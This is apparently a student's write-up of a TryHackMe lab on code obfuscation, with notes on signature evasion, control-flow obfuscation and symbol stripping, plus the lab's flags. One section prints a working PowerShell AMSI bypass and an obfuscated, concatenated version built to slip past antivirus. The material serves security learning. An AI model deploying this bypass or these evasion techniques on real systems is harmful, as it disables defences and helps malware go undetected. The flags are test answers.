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Obfuscation Principles - Medium

  1. Origins of Obfuscation
  2. Obfuscation's Function for Static Evasion
  3. Object Concatenation
  4. Obfuscation's Function for Analysis Deception
  5. Code Flow and Logic
  6. Arbitrary Control Flow Patterns
  7. Protecting and Stripping Identifiable Information

Origins of Obfuscation

  • Obfuscation is generally used to protect IP (Intellectual Property) and proprietary info in an app.

  • This paper covers layered obfuscation and the methods used.

  • Adversaries & malware devs can leverage obfuscation to break signatures or prevent program analysis.

1. How many core layers make up the Layered Obfuscation Taxonomy? - 4

2. What sub-layer of the Layered Obfuscation Taxonomy encompasses meaningless identifiers? - Obfuscating Layout

Obfuscation's Function for Static Evasion

  • Obfuscating data:

    • Array transformation
    • Data encoding
    • Data procedurization
    • Data splitting/merging
1. What obfuscation method will break or split an object? - data splitting

2. What obfuscation method is used to rewrite static data with a procedure call? - data procedurization

Object Concatenation

  • Concatenation can be used to break targeted static signatures; attackers can also use it to break up all objects of a program and try to remove all signatures at once.

  • In Yara, for example, if a defined string is present, it will be detected; however if we use concatention in our malware for the string, it will be functionally the same but will appear as multiple independent strings, resulting in no alerts.

  • Non-interpreted characters:

    • Breaks - breaking string into multiple sub-strings

    • Reorders - reorder string components

    • Whitespace - include non-interpreted whitespace

    • Ticks - include non-interpreted ticks

    • Random case - for case-insensitive strings

[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
#this is blocked by AV software
#so we need to use concatenation and non-interpreted chars

[Ref].Assembly.GetType('System.Management.Automation.Ams'+'i'+'Ut'+'ils')
#we can break it down by cmdlet and check for each cmdlet
#before proceeding

#we need to do separation of related code for final command
$Value="SetValue"

[Ref].Assembly.GetType( 'System.Management.Auto' + 'mation.Amsi' + 'Ut'+ 'ils' ).GetField( 'amsi' + 'In' + 'itFailed','No' +'nPublic,St' + 'atic').$Value($null,$true)
#submit this for flag
1. What flag is found after uploading a properly obfuscated snippet? - THM{koNC473n473_4Ll_7H3_7H1n95}

Obfuscation's Function for Analysis Deception

  • Adversaries can leverage advanced logic and maths to create complex, tougher to understand code to combat analysis & RE.

  • Obfuscating layout:

    • Junk codes
    • Separation of related codes
    • Stripping redundant symbols
    • Meaningless identifiers

  • Obfuscating controls:

    • Implicit controls
    • Dispatcher-based controls
    • Probabilistic control flows
    • Bogus control flows
1. What are junk instructions referred to as in junk code? - code stubs

2. What obfuscation layer aims to confuse an analyst by manipulating the code flow and abstract syntax trees? - obfuscating controls

Code Flow and Logic

  • Control flow - critical for program; defines how program will logically proceed.
1. Can logic change and impact the control flow of a program? - T

Arbitrary Control Flow Patterns

  • Opaque predicates - used to control known output & input; its value is known to the obfuscator but it is difficult to deduce.

  • Opaque predicates fall under 'bogus control flow' and 'probabilistic control flow'.

1. What flag is found after properly reversing the provided snippet? - THM{D3cod3d!!}

Protecting and Stripping Identifiable Information

  • Major types of identifiable info are code structure, object names, and file/compilation properties.
#after obfuscating code structure and object names for given program
#we need to compile it

x86_64-w64-mingw32-g++ challenge-8.cpp -o challenge-8.exe

nm challenge-8.exe
#we need to remove symbols from the compiled binary

strip --strip-all challenge-8.exe

nm challenge-8.exe
#this does not show any symbols
#so we can upload it now to get flag
1. What flag is found after uploading a properly obfuscated snippet? - THM{Y0Ur_1NF0_15_M1N3}